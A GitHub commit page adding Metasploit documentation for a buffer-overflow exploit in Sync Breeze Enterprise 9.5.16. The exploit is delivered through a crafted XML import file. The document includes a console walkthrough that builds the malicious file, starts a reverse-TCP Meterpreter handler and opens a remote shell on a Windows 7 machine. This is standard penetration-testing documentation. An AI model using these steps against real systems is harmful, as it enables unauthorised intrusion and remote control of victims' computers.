Skip to content

Commit 5fef8b4

Browse files
Update and rename syncbreeze_xml.rb to syncbreeze_xml.md
1 parent aa9b5e4 commit 5fef8b4

File tree

2 files changed

+45
-77
lines changed

2 files changed

+45
-77
lines changed
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16 by using the import command option to import a specially crafted xml file.
2+
3+
## Vulnerable Application
4+
5+
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/e5c42cce3304c323776e4785e8fb4685-syncbreezeent_setup_v9.5.16.exe).
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Do: `exploit/windows/fileformat/syncbreeze_xml`
11+
3. Do: `set PAYLOAD [PAYLOAD]`
12+
4. Do: `run`
13+
14+
## Example
15+
```
16+
msf > use exploit/windows/fileformat/syncbreeze_xml
17+
msf exploit(windows/fileformat/syncbreeze_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
18+
PAYLOAD => windows/meterpreter/reverse_tcp
19+
msf exploit(windows/fileformat/syncbreeze_xml) > set LHOST 192.168.216.5
20+
LHOST => 192.168.216.5
21+
msf exploit(windows/fileformat/syncbreeze_xml) > run
22+
23+
[*] Creating 'msf.xml' file ...
24+
[+] msf.xml stored at /root/.msf4/local/msf.xml
25+
msf exploit(windows/fileformat/syncbreeze_xml) > use exploit/multi/handler
26+
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
27+
PAYLOAD => windows/meterpreter/reverse_tcp
28+
msf exploit(multi/handler) > set LHOST 192.168.216.5
29+
LHOST => 192.168.216.5
30+
msf exploit(multi/handler) > run
31+
32+
[*] Started reverse TCP handler on 192.168.216.5:4444
33+
[*] Sending stage (179779 bytes) to 192.168.216.137
34+
[*] Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.137:49830) at 2018-01-15 15:32:02 -0500
35+
36+
meterpreter > sysinfo
37+
Computer : IE11WIN7
38+
OS : Windows 7 (Build 7601, Service Pack 1).
39+
Architecture : x86
40+
System Language : en_US
41+
Domain : WORKGROUP
42+
Logged On Users : 2
43+
Meterpreter : x86/windows
44+
meterpreter >
45+
```

documentation/modules/exploit/windows/fileformat/syncbreeze_xml.rb

Lines changed: 0 additions & 77 deletions
This file was deleted.

0 commit comments

Comments
 (0)